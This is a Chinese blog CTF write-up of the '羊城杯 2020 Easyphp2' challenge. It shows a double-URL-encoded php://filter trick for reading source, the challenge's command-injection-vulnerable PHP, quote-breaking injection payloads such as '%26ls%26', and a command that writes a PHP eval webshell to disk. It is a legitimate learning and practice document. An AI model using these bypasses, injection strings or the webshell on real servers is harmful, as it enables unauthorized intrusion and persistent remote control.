[羊城杯 2020]Easyphp2 ---不会编程的崽

发布于:2024-04-08 ⋅ 阅读:(107) ⋅ 点赞:(0)

摆烂一周了,继续更!!题目还是简单哦。

提示明显要我们修改数据包,第一反应是修改referer。试了一下不太对。url很可能存在文件包含

使用伪协议读取一下源码吧。它过滤了base64关键字。尝试url编码绕过,这里可以使用二次编码

php://filter/read=%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%35%25%36%45%25%36%33%25%36%46%25%36%34%25%36%35/resource=check.php

这里我把中间都url二次编码了

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>count is here</title>

    <style>

        html,
        body {
            overflow: none;
            max-height: 100vh;
        }

    </style>
</head>

<body style="height: 100vh; text-align: center; background-color: green; color: blue; display: flex; flex-direction: column; justify-content: center;">

<center><img src="question.jpg" height="200" width="200" /> </center>

    <?php
    ini_set('max_execution_time', 5);

    if ($_COOKIE['pass'] !== getenv('PASS')) {
        setcookie('pass', 'PASS');
        die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
    }
    ?>

    <h1>A Counter is here, but it has someting wrong</h1>

    <form>
        <input type="hidden" value="GWHT.php" name="file">
        <textarea style="border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br />
        <input type="submit">
    </form>

    <?php
    if (isset($_GET["count"])) {
        $count = $_GET["count"];
        if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
        	die('hacker!');
        }
        echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
    }
    ?>

</body>

</html>

 okk,也是知道在cookie里边修改。但是,getenv???环境变量吗?其实这里还有一个robots.txt

所有这里还能伪协议继续读取

php://filter/read=%2563%256F%256E%2576%2565%2572%2574%252E%2562%2561%2573%2565%2536%2534%252D%2565%256E%2563%256F%2564%2565/resource=check.php

 应该是要修改成这个!!!最开始不就提示了嘛,我这猪脑子。然后界面就变成了这个。根据上上边源码,这里就可以命令执行了

 过滤了 ;这是最重要的。

//代码在这
<?php
    if (isset($_GET["count"])) {
        $count = $_GET["count"];
        if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
        	die('hacker!');
        }
        echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
    }
    ?>

开始绕过,我们重点关注这串代码

 exec('printf \'' . $count . '\' | wc -c')

--去掉阔号和引号看看呢-->

 'printf \'' . $count . '\' | wc -c'

--去引号-->

printf ' . $count . ' | wc -c

所有我们输入的count在执行命令时,被括号包起来了。只需要把单引号闭合即可

 &在数据包里要转换为%26。

'%26ls%26'

这样就能执行命令了

 

的确是回显了,因为exec只输出最后一行,所以它没显示完整。但是没关系,先找下flag位置

%27%26find+/+-name+flag*%26%27

 

在这个路径下呢。但是打开这个问年没回显。要么权限不够,要么过滤回显。这属于是权限不够。还是得写木马上蚁剑

'%26echo+"<?=@eval(\$_POST[cmd])?>">2.php%26'

注意了,$前边的\不能少,因为要取消$特殊含义。

图形化啥也没有。。。还是换命令行吧。输入env试试效果呢?

 喜出望外哦。其实不是这样的。GWHT目录下存在README文件,里边有密码,当前用户权限不够,需要切换用户。这里我也不知道,看的大佬的。

啊,你说这个明文密码怎么来的。害,那个README里边的md5值拿去碰撞以下就可以了。ok,到此结束


网站公告

今日签到

点亮在社区的每一天
去签到